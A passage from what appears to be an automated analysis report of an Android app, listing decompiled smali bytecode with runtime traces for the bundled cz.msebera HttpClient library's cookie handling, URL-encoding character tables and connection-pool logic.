        195invoke-interface {v0, v4, v8}, Lcz/msebera/android/httpclient/cookie/CookieSpec;->match(Lcz/msebera/android/httpclient/cookie/Cookie;Lcz/msebera/android/httpclient/cookie/CookieOrigin;)Z
        196move-result v5
        197if-eqz v5, :cond_ef
        199iget-object v5, p0, Lcz/msebera/android/httpclient/client/protocol/RequestAddCookies;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        201invoke-virtual {v5}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        202move-result v5
        203if-eqz v5, :cond_12d
        205iget-object v5, p0, Lcz/msebera/android/httpclient/client/protocol/RequestAddCookies;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        206new-instance v6, Ljava/lang/StringBuilder;
        208invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
        210const-string v7, "Cookie "
        212invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        214invoke-virtual {v6, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        216const-string v7, " match "
        218invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        220invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        222invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        223move-result-object v6
        225invoke-virtual {v5, v6}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        226cond_12d:
        227invoke-interface {v1, v4}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        228goto/16 :goto_ef
        229cond_131:
        230iget-object v5, p0, Lcz/msebera/android/httpclient/client/protocol/RequestAddCookies;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        232invoke-virtual {v5}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        233move-result v5
        234if-eqz v5, :cond_ef
        236iget-object v5, p0, Lcz/msebera/android/httpclient/client/protocol/RequestAddCookies;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        237new-instance v6, Ljava/lang/StringBuilder;
        239invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
        241const-string v7, "Cookie "
        243invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        245invoke-virtual {v6, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        247const-string v4, " expired"
        249invoke-virtual {v6, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        251invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        252move-result-object v4
        254invoke-virtual {v5, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        255goto/16 :goto_ef
        256cond_155:
        257invoke-interface {v1}, Ljava/util/List;->isEmpty()Z
        258move-result v2
        259if-nez v2, :cond_173
        261invoke-interface {v0, v1}, Lcz/msebera/android/httpclient/cookie/CookieSpec;->formatCookies(Ljava/util/List;)Ljava/util/List;
        262move-result-object v2
        264invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
        265move-result-object v2
        266goto_163:
        267invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
        268move-result v3
        269if-eqz v3, :cond_173
        271invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        272move-result-object v3
        273check-cast v3, Lcz/msebera/android/httpclient/Header;
        275invoke-interface {p1, v3}, Lcz/msebera/android/httpclient/HttpRequest;->addHeader(Lcz/msebera/android/httpclient/Header;)V
        276goto/16 :goto_163
        277cond_173:
        278invoke-interface {v0}, Lcz/msebera/android/httpclient/cookie/CookieSpec;->getVersion()I
        279move-result v2
        280if-lez v2, :cond_1a1
        282invoke-interface {v1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
        283move-result-object v1
        284cond_17d:
        285invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
        286move-result v3
        287if-eqz v3, :cond_196
        289invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        290move-result-object v3
        291check-cast v3, Lcz/msebera/android/httpclient/cookie/Cookie;
        293invoke-interface {v3}, Lcz/msebera/android/httpclient/cookie/Cookie;->getVersion()I
        294move-result v4
        295if-ne v2, v4, :cond_193
        296instance-of v3, v3, Lcz/msebera/android/httpclient/cookie/SetCookie2;
        297if-nez v3, :cond_17d
        298cond_193: const/4 v3, 0x1
        299const/4 v9, 0x1
        300goto/16 :goto_17d
        301cond_196: if-eqz v9, :cond_1a1
        303invoke-interface {v0}, Lcz/msebera/android/httpclient/cookie/CookieSpec;->getVersionHeader()Lcz/msebera/android/httpclient/Header;
        304move-result-object v1
        305if-eqz v1, :cond_1a1
        307invoke-interface {p1, v1}, Lcz/msebera/android/httpclient/HttpRequest;->addHeader(Lcz/msebera/android/httpclient/Header;)V
        308cond_1a1:
        309const-string p1, "http.cookie-spec"
        311invoke-interface {p2, p1, v0}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        313const-string p1, "http.cookie-origin"
        315invoke-interface {p2, p1, v8}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        316return-void
        317cond_1ac: new-instance p1, Lcz/msebera/android/httpclient/HttpException;
        318new-instance p2, Ljava/lang/StringBuilder;
        320invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        322const-string v0, "Unsupported cookie policy: "
        324invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        326invoke-virtual {p2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        328invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        329move-result-object p2
        331invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/HttpException;-><init>(Ljava/lang/String;)V
        332throw p1
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.String.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.BitSet.<init>
        • java.util.BitSet.set
        • java.util.BitSet.or
        • java.util.BitSet.set
        • java.util.BitSet.or
        • java.util.BitSet.set
        • java.util.BitSet.or
        Strings
        • [
        • &;
        • ]
        Position Instruction Meta Information
        0const/4 v0, 0x2
        1new-array v0, v0, [C
        2fill-array-data v0, :array_192
        3sput-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->QP_SEPS:[C
        4new-instance v0, Ljava/lang/StringBuilder;
        6invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        8const-string v1, "["
        10invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        11new-instance v1, Ljava/lang/String;
        13sget-object v2, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->QP_SEPS:[C
        15invoke-direct {v1, v2}, Ljava/lang/String;-><init>([C)V
        • Time: 1303080
          • This:
            • &;
          • p0: [C@5a0a83
          • p0: &;
          • Return:
            • &;
        17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        19const-string v1, "]"
        21invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        23invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        24move-result-object v0
        25sput-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->QP_SEP_PATTERN:Ljava/lang/String;
        26new-instance v0, Ljava/util/BitSet;
        27const/16 v1, 0x100
        29invoke-direct {v0, v1}, Ljava/util/BitSet;-><init>(I)V
        30sput-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->UNRESERVED:Ljava/util/BitSet;
        31new-instance v0, Ljava/util/BitSet;
        33invoke-direct {v0, v1}, Ljava/util/BitSet;-><init>(I)V
        34sput-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PUNCT:Ljava/util/BitSet;
        35new-instance v0, Ljava/util/BitSet;
        37invoke-direct {v0, v1}, Ljava/util/BitSet;-><init>(I)V
        38sput-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->USERINFO:Ljava/util/BitSet;
        39new-instance v0, Ljava/util/BitSet;
        41invoke-direct {v0, v1}, Ljava/util/BitSet;-><init>(I)V
        42sput-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PATHSAFE:Ljava/util/BitSet;
        43new-instance v0, Ljava/util/BitSet;
        45invoke-direct {v0, v1}, Ljava/util/BitSet;-><init>(I)V
        46sput-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->URIC:Ljava/util/BitSet;
        47new-instance v0, Ljava/util/BitSet;
        49invoke-direct {v0, v1}, Ljava/util/BitSet;-><init>(I)V
        50sput-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->RESERVED:Ljava/util/BitSet;
        51new-instance v0, Ljava/util/BitSet;
        53invoke-direct {v0, v1}, Ljava/util/BitSet;-><init>(I)V
        54sput-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->URLENCODER:Ljava/util/BitSet;
        55const/16 v0, 0x61
        56goto_5c: const/16 v1, 0x7a
        57if-gt v0, v1, :cond_68
        59sget-object v1, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->UNRESERVED:Ljava/util/BitSet;
        61invoke-virtual {v1, v0}, Ljava/util/BitSet;->set(I)V
        62add-int/lit8 v0, v0, 0x1
        63goto/16 :goto_5c
        64cond_68: const/16 v0, 0x41
        65goto_6a: const/16 v1, 0x5a
        66if-gt v0, v1, :cond_76
        68sget-object v1, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->UNRESERVED:Ljava/util/BitSet;
        70invoke-virtual {v1, v0}, Ljava/util/BitSet;->set(I)V
        71add-int/lit8 v0, v0, 0x1
        72goto/16 :goto_6a
        73cond_76: const/16 v0, 0x30
        74goto_78: const/16 v1, 0x39
        75if-gt v0, v1, :cond_84
        77sget-object v1, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->UNRESERVED:Ljava/util/BitSet;
        79invoke-virtual {v1, v0}, Ljava/util/BitSet;->set(I)V
        80add-int/lit8 v0, v0, 0x1
        81goto/16 :goto_78
        82cond_84:
        83sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->UNRESERVED:Ljava/util/BitSet;
        84const/16 v1, 0x5f
        86invoke-virtual {v0, v1}, Ljava/util/BitSet;->set(I)V
        88sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->UNRESERVED:Ljava/util/BitSet;
        89const/16 v1, 0x2d
        91invoke-virtual {v0, v1}, Ljava/util/BitSet;->set(I)V
        93sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->UNRESERVED:Ljava/util/BitSet;
        94const/16 v1, 0x2e
        96invoke-virtual {v0, v1}, Ljava/util/BitSet;->set(I)V
        98sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->UNRESERVED:Ljava/util/BitSet;
        99const/16 v1, 0x2a
        101invoke-virtual {v0, v1}, Ljava/util/BitSet;->set(I)V
        103sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->URLENCODER:Ljava/util/BitSet;
        105sget-object v1, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->UNRESERVED:Ljava/util/BitSet;
        107invoke-virtual {v0, v1}, Ljava/util/BitSet;->or(Ljava/util/BitSet;)V
        109sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->UNRESERVED:Ljava/util/BitSet;
        110const/16 v1, 0x21
        112invoke-virtual {v0, v1}, Ljava/util/BitSet;->set(I)V
        114sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->UNRESERVED:Ljava/util/BitSet;
        115const/16 v1, 0x7e
        117invoke-virtual {v0, v1}, Ljava/util/BitSet;->set(I)V
        119sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->UNRESERVED:Ljava/util/BitSet;
        120const/16 v1, 0x27
        122invoke-virtual {v0, v1}, Ljava/util/BitSet;->set(I)V
        124sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->UNRESERVED:Ljava/util/BitSet;
        125const/16 v1, 0x28
        127invoke-virtual {v0, v1}, Ljava/util/BitSet;->set(I)V
        129sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->UNRESERVED:Ljava/util/BitSet;
        130const/16 v1, 0x29
        132invoke-virtual {v0, v1}, Ljava/util/BitSet;->set(I)V
        134sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PUNCT:Ljava/util/BitSet;
        135const/16 v1, 0x2c
        137invoke-virtual {v0, v1}, Ljava/util/BitSet;->set(I)V
        139sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PUNCT:Ljava/util/BitSet;
        140const/16 v2, 0x3b
        142invoke-virtual {v0, v2}, Ljava/util/BitSet;->set(I)V
        144sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PUNCT:Ljava/util/BitSet;
        145const/16 v3, 0x3a
        147invoke-virtual {v0, v3}, Ljava/util/BitSet;->set(I)V
        149sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PUNCT:Ljava/util/BitSet;
        150const/16 v4, 0x24
        152invoke-virtual {v0, v4}, Ljava/util/BitSet;->set(I)V
        154sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PUNCT:Ljava/util/BitSet;
        155const/16 v5, 0x26
        157invoke-virtual {v0, v5}, Ljava/util/BitSet;->set(I)V
        159sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PUNCT:Ljava/util/BitSet;
        160const/16 v6, 0x2b
        162invoke-virtual {v0, v6}, Ljava/util/BitSet;->set(I)V
        164sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PUNCT:Ljava/util/BitSet;
        165const/16 v7, 0x3d
        167invoke-virtual {v0, v7}, Ljava/util/BitSet;->set(I)V
        169sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->USERINFO:Ljava/util/BitSet;
        171sget-object v8, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->UNRESERVED:Ljava/util/BitSet;
        173invoke-virtual {v0, v8}, Ljava/util/BitSet;->or(Ljava/util/BitSet;)V
        175sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->USERINFO:Ljava/util/BitSet;
        177sget-object v8, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PUNCT:Ljava/util/BitSet;
        179invoke-virtual {v0, v8}, Ljava/util/BitSet;->or(Ljava/util/BitSet;)V
        181sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PATHSAFE:Ljava/util/BitSet;
        183sget-object v8, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->UNRESERVED:Ljava/util/BitSet;
        185invoke-virtual {v0, v8}, Ljava/util/BitSet;->or(Ljava/util/BitSet;)V
        187sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PATHSAFE:Ljava/util/BitSet;
        188const/16 v8, 0x2f
        190invoke-virtual {v0, v8}, Ljava/util/BitSet;->set(I)V
        192sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PATHSAFE:Ljava/util/BitSet;
        194invoke-virtual {v0, v2}, Ljava/util/BitSet;->set(I)V
        196sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PATHSAFE:Ljava/util/BitSet;
        198invoke-virtual {v0, v3}, Ljava/util/BitSet;->set(I)V
        200sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PATHSAFE:Ljava/util/BitSet;
        201const/16 v9, 0x40
        203invoke-virtual {v0, v9}, Ljava/util/BitSet;->set(I)V
        205sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PATHSAFE:Ljava/util/BitSet;
        207invoke-virtual {v0, v5}, Ljava/util/BitSet;->set(I)V
        209sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PATHSAFE:Ljava/util/BitSet;
        211invoke-virtual {v0, v7}, Ljava/util/BitSet;->set(I)V
        213sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PATHSAFE:Ljava/util/BitSet;
        215invoke-virtual {v0, v6}, Ljava/util/BitSet;->set(I)V
        217sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PATHSAFE:Ljava/util/BitSet;
        219invoke-virtual {v0, v4}, Ljava/util/BitSet;->set(I)V
        221sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->PATHSAFE:Ljava/util/BitSet;
        223invoke-virtual {v0, v1}, Ljava/util/BitSet;->set(I)V
        225sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->RESERVED:Ljava/util/BitSet;
        227invoke-virtual {v0, v2}, Ljava/util/BitSet;->set(I)V
        229sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->RESERVED:Ljava/util/BitSet;
        231invoke-virtual {v0, v8}, Ljava/util/BitSet;->set(I)V
        233sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->RESERVED:Ljava/util/BitSet;
        234const/16 v2, 0x3f
        236invoke-virtual {v0, v2}, Ljava/util/BitSet;->set(I)V
        238sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->RESERVED:Ljava/util/BitSet;
        240invoke-virtual {v0, v3}, Ljava/util/BitSet;->set(I)V
        242sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->RESERVED:Ljava/util/BitSet;
        244invoke-virtual {v0, v9}, Ljava/util/BitSet;->set(I)V
        246sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->RESERVED:Ljava/util/BitSet;
        248invoke-virtual {v0, v5}, Ljava/util/BitSet;->set(I)V
        250sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->RESERVED:Ljava/util/BitSet;
        252invoke-virtual {v0, v7}, Ljava/util/BitSet;->set(I)V
        254sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->RESERVED:Ljava/util/BitSet;
        256invoke-virtual {v0, v6}, Ljava/util/BitSet;->set(I)V
        258sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->RESERVED:Ljava/util/BitSet;
        260invoke-virtual {v0, v4}, Ljava/util/BitSet;->set(I)V
        262sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->RESERVED:Ljava/util/BitSet;
        264invoke-virtual {v0, v1}, Ljava/util/BitSet;->set(I)V
        266sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->RESERVED:Ljava/util/BitSet;
        267const/16 v1, 0x5b
        269invoke-virtual {v0, v1}, Ljava/util/BitSet;->set(I)V
        271sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->RESERVED:Ljava/util/BitSet;
        272const/16 v1, 0x5d
        274invoke-virtual {v0, v1}, Ljava/util/BitSet;->set(I)V
        276sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->URIC:Ljava/util/BitSet;
        278sget-object v1, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->RESERVED:Ljava/util/BitSet;
        280invoke-virtual {v0, v1}, Ljava/util/BitSet;->or(Ljava/util/BitSet;)V
        282sget-object v0, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->URIC:Ljava/util/BitSet;
        284sget-object v1, Lcz/msebera/android/httpclient/client/utils/URLEncodedUtils;->UNRESERVED:Ljava/util/BitSet;
        286invoke-virtual {v0, v1}, Ljava/util/BitSet;->or(Ljava/util/BitSet;)V
        287return-void
        Cross References
        APIs
        • java.lang.System.currentTimeMillis
        • java.util.concurrent.TimeUnit.toMillis
        • java.util.Date.<init>
        • java.util.concurrent.locks.Lock.lock
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.util.Queue.size
        • java.lang.StringBuilder.append
        • java.util.Set.size
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.extras.HttpClientAndroidLog.isDebugEnabled
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.Queue.isEmpty
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.concurrent.locks.Lock.newCondition
        • java.util.Queue.add
        • java.util.Queue.remove
        • java.util.Date.getTime
        • java.lang.System.currentTimeMillis
        • cz.msebera.android.httpclient.conn.ConnectionPoolTimeoutException.<init>
        • java.util.Queue.remove
        • java.util.concurrent.locks.Lock.unlock
        Strings
        • Connection pool shut down
        • [
        • ] total kept alive:
        • , total issued:
        • , total allocated:
        • out of
        • Available capacity:
        • [
        • ][
        • ]
        • Need to wait for connection [
        • Timeout waiting for connection from pool
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/conn/ConnectionPoolTimeoutException;,
        3Ljava/lang/InterruptedException;
        4}
        5.end annotation
        6const-wide/16 v0, 0x0
        7cmp-long v2, p3, v0
        8const/4 v0, 0x0
        9if-lez v2, :cond_16
        10new-instance v1, Ljava/util/Date;
        12invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        13move-result-wide v2
        15invoke-virtual {p5, p3, p4}, Ljava/util/concurrent/TimeUnit;->toMillis(J)J
        16move-result-wide p3
        17add-long/2addr v2, p3
        19invoke-direct {v1, v2, v3}, Ljava/util/Date;-><init>(J)V
        20goto/16 :goto_17
        21cond_16: move-object v1, v0
        22goto_17:
        23iget-object p3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        25invoke-interface {p3}, Ljava/util/concurrent/locks/Lock;->lock()V
        26const/4 p3, 0x1
        27try_start_1d:
        28invoke-virtual {p0, p1, p3}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->getRoutePool(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Z)Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;
        29move-result-object p4
        30move-object p5, v0
        31goto_22: if-nez v0, :cond_169
        32iget-boolean v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->shutdown:Z
        33xor-int/2addr v0, p3
        35const-string v2, "Connection pool shut down"
        37invoke-static {v0, v2}, Lcz/msebera/android/httpclient/util/Asserts;->check(ZLjava/lang/String;)V
        39iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        41invoke-virtual {v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        • Time: 1302428
          • This:
            • cz.msebera.android.httpclient.extras.HttpClientAndroidLog@873b27
          • Return:
            • false
        42move-result v0
        43if-eqz v0, :cond_7a
        45iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        46new-instance v2, Ljava/lang/StringBuilder;
        48invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        50const-string v3, "["
        52invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        54invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        56const-string v3, "] total kept alive: "
        58invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        60iget-object v3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->freeConnections:Ljava/util/Queue;
        62invoke-interface {v3}, Ljava/util/Queue;->size()I
        63move-result v3
        65invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        67const-string v3, ", total issued: "
        69invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        71iget-object v3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->leasedConnections:Ljava/util/Set;
        73invoke-interface {v3}, Ljava/util/Set;->size()I
        74move-result v3
        76invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        78const-string v3, ", total allocated: "
        80invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        81iget v3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->numConnections:I
        83invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        85const-string v3, " out of "
        87invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        88iget v3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->maxTotalConnections:I
        90invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        92invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        93move-result-object v2
        95invoke-virtual {v0, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        96cond_7a:
        97invoke-virtual {p0, p4, p2}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->getFreeEntry(Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;Ljava/lang/Object;)Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;
        98move-result-object v0
        99if-eqz v0, :cond_82
        100goto/16 :goto_169
        101cond_82:
        102invoke-virtual {p4}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->getCapacity()I
        103move-result v2
        104if-lez v2, :cond_8a
        105const/4 v2, 0x1
        106goto/16 :goto_8b
        107cond_8a: const/4 v2, 0x0
        108goto_8b:
        109iget-object v3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        111invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        • Time: 1302432
          • This:
            • cz.msebera.android.httpclient.extras.HttpClientAndroidLog@873b27
          • Return:
            • false
        112move-result v3
        113if-eqz v3, :cond_ce
        115iget-object v3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        116new-instance v4, Ljava/lang/StringBuilder;
        118invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        120const-string v5, "Available capacity: "
        122invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        124invoke-virtual {p4}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->getCapacity()I
        125move-result v5
        127invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        129const-string v5, " out of "
        131invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        133invoke-virtual {p4}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->getMaxEntries()I
        134move-result v5
        136invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        138const-string v5, " ["
        140invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        142invoke-virtual {v4, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        144const-string v5, "]["
        146invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        148invoke-virtual {v4, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        150const-string v5, "]"
        152invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        154invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        155move-result-object v4
        157invoke-virtual {v3, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        158cond_ce: if-eqz v2, :cond_de
        159iget v3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->numConnections:I
